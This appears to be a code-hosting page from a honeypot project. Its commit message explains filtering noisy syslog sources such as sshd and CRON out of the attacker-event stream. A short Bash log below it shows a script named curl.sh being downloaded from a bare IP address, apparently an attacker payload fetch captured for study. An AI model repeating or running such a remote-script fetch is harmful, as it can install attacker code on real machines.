anti
88f276e9e7
sshd, pam_unix, sudo, CRON, systemd, kernel, rsyslogd, and dbus-daemon all share the SSH/telnet decky containers and write to the same syslog socket as DECNET's own emitters. Their output was being parsed and ingested into the JSON stream, the dashboard, and the profiler — pure noise: sshd's "Failed password for root from X" duplicates the auth-helper's structured auth_attempt event, pam_unix repeats it again, CRON/systemd say nothing about attacker behavior. Drop these APP-NAMEs in _should_ingest before the JSON write and bus publish. Raw .log file still captures everything for forensics. The denylist is overridable with DECNET_COLLECTOR_DROP_APPS so operators can extend it without code changes.
4 lines
120 B
Bash
4 lines
120 B
Bash
[0] Downloading 'http://31.56.209.39/curl.sh' ...
|
|
Saving 'curl.sh.1'
|
|
HTTP response 200 OK [http://31.56.209.39/curl.sh]
|